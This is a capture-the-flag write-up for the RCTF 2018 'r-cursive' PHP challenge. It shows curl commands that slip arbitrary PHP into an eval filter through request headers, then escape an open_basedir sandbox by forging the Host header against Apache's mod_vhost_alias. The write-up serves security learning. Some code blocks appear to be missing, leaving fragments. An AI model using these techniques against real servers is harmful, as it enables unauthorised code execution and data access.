Tags: php apache2 



> LUL dat font
> http://r-cursive.ml
> hint: If you get stuck after arbitary code execution, try to escape the sandbox. phpinfo may help you figure out how the sandbox works.


After disabling the front-end font security (!), the page presents us with its source code:

<style>code{font-family: Segoe Script, Brush Script MT, cursive; font-size: 1.337em;}</style>

We can also look at the `template` file:

.sandbox.r-cursive.ml/` we are presented with exactly the same source code as in `template` above, but with the hash inserted.

There is an `eval`! But we need to provide the argument / code for it to run via the `cmd` GET parameter. And before `eval` is executed, the parameter is checked - it has to match the regular expression:


The first part, `[^\W_]+` is easy enough to understand - basically we can use simple functions with names consisting of `[A-Za-z0-9]` (not the underscore though). The `(?R)?` bit in parentheses was new to me, but `(?R)` simply means "repeat the whole pattern", and `?` makes it optional. So it is a recursive regular expression, which can match strings like `a()`, `something(else())`, `etc(etc(etc()))`. So `preg_replace` replaces these strings with the empty string, and the result of this must match `;`. So, to do some basic information gathering:


From the resulting page (as well as more involved commands perhaps), we can summarise:

- `open_basedir=/var/www/sandbox/<token>/:/tmp/` - we can only access our current directory and `/tmp`; this applies to basically all PHP functions that we might want to use, e.g. `fopen`, `file_get_contents`, `include`, etc
- `disable_functions=system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,putenv,apache_setenv,mb_send_mail,assert,dl,set_time_limit,ignore_user_abort,symlink,link` - everything useful is disabled, including environmental variable setting and mail (which would enable us to run arbitrary binaries via `LD_PRELOAD` and upload to `/tmp`)
- `disable_classes` - also lists some useful classes, not that important
- `auto_prepend_file=/var/www/sandbox/init.php` - interesting
- Apache 2 loaded modules: `core mod_so mod_watchdog http_core mod_log_config mod_logio mod_version mod_unixd mod_access_compat mod_alias mod_auth_basic mod_authn_core mod_authn_file mod_authz_core mod_authz_host mod_authz_user mod_autoindex mod_deflate mod_dir mod_env mod_filter mod_mime prefork mod_negotiation mod_php5 mod_reqtimeout mod_rewrite mod_setenvif mod_status mod_vhost_alias` - also interesting

The last two points are worth investigating in greater detail. But first, the hint on the challenge said we should first get arbitrary code execution. We can only execute functions applied to results of functions, or functions that take no arguments. This is not terribly useful, we need to find a way to provide additional input and execute that.

Clearly `eval` is enabled, but what do we evaluate? [`getallheaders`](https://php.net/manual/en/function.getallheaders.php) is a useful function enabled on Apache servers. It returns an array of all of the request headers, which we can modify of course. However, if an array is cast to a string in PHP, it just turns into `"Array"`, so we can't pass this directly to `eval`. Something like `array_pop` would be useful, but remember - the regular expression disallows underscores. In the [same section](http://php.net/manual/en/ref.array.php), however, we can find [`current`](http://php.net/manual/en/function.current.php) which "returns the current element in an array". Luckily enough, the current element of an array is the first element by default, unless we iterate it somehow. And so:

$ curl -A "echo 'hello world';" "http://<token>.sandbox.r-cursive.ml:1337/?cmd=eval(current(getallheaders()));"

This prints out `hello world` as expected and clearly that `echo` command is not of the recursive regular expression form. So we have arbitrary code execution!

Now let's think about how to "escape the sandbox". If we are believe that the homepage at `http://r-cursive.ml/` showed us its full source code, then our custom subdomain was created just by creating a directory in `/var/www/sandbox` and putting an `index.php` into it! Normally to configure a subdomain like this in Apache requires a `VirtualHost` directive in the configuration and reloading the server, but this was clearly not done.

But, from `phpinfo();`, we found out that the module [`mod_vhost_alias`](https://httpd.apache.org/docs/2.2/mod/mod_vhost_alias.html) is loaded. It allows a wildcard virtual host to be defined, then determine the correct document root to use for each virtual host based on ... the `Host` header provided by us. Naturally we control this header as well, although we still need to make sure we match the alias.

We can poke around a bit:

$ curl -H "Host: <token>.sandbox.r-cursive.ml" -A "echo getcwd();" "http://<token>.sandbox.r-cursive.ml:1337/?cmd=eval(current(getallheaders()));"
$ curl -H "Host: <token>.r-cursive.ml" -A "echo getcwd();" "http://<token>.sandbox.r-cursive.ml:1337/?cmd=eval(current(getallheaders()));"
$ curl -H "Host: <token>.ml" -A "echo getcwd();" "http://<token>.sandbox.r-cursive.ml:1337/?cmd=eval(current(getallheaders()));"
$ curl -H "Host: <token>" -A "echo getcwd();" "http://<token>.sandbox.r-cursive.ml:1337/?cmd=eval(current(getallheaders()));"
$ curl -H "Host: <token>.whatever.com" -A "echo getcwd();" "http://<token>.sandbox.r-cursive.ml:1337/?cmd=eval(current(getallheaders()));"

All of the above output the exact same thing, and it is our custom directory. This means that the directory to use is determined solely on the first part of the `Host` header. The fact that we are providing our URL might be confusing, but in fact `curl` only uses this to do DNS lookup. The `-H` overrides the header `curl` would normally send. This also works:

$ curl -H "Host: <token>" -A "echo getcwd();" "http://x.sandbox.r-cursive.ml:1337/?cmd=eval(current(getallheaders()));"

Now our custom token is only present in the `Host` header. Even this works:

$ curl -H "Host: <token>" -A "echo getcwd();" "http://r-cursive.ml:1337/?cmd=eval(current(getallheaders()));"

In fact, the homepage and the custom userpages are hosted at the same IP, but the userpages are on port 1337. So with that we can guess that somewhere in Apache configuration, there is a bit like this:

<VirtualHost *:1337>
ServerAlias *
php_admin_value auto_prepend_file "/var/www/sandbox/init.php"
VirtualDocumentRoot /var/www/sandbox/%1

Where `%1` refers to the first part of the `Host` header. Then `init.php` sets the `open_basedir` setting to the CWD (+ `/tmp/`). How can we abuse this? We would like to see the source of `init.php`. For that we need `open_basedir` to include `/var/www/sandbox`. Well, in Linux the path `/var/www/sandbox//` is the same as `/var/www/sandbox`. How can we make the path be empty? Playing around with the `Host` header, a lot of ideas get rejected by the server sending us `400 Bad Request`. Curiously enough, a leading dot `.` is allowed, so we can provide `Host: .a` as our custom header.

$ curl -H "Host: .a" "http://r-cursive.ml:1337/"

This now says `403 Forbidden`! But this:

$ curl -H "Host: .a" "http://r-cursive.ml:1337/init.php"

Does not say anything. The request goes through and we load the file `init.php`, but it doesn't print anything. Well, we are now in `/var/www/sandbox` - we can get back to our home directory:

$ curl -H "Host: .a" "http://r-cursive.ml:1337/<token>/?cmd=phpinfo();"

Now `open_basedir` is `/var/www/sandbox:/tmp`. So, finally:

$ curl -H "Host: .a" -A "show_source('../init.php');" "http://r-cursive.ml:1337/<token>/?cmd=eval(current(getallheaders()));"

It works!


Original writeup (https://github.com/Aurel300/empirectf/blob/master/writeups/2018-05-19-RCTF/README.md#500-web--r-cursive).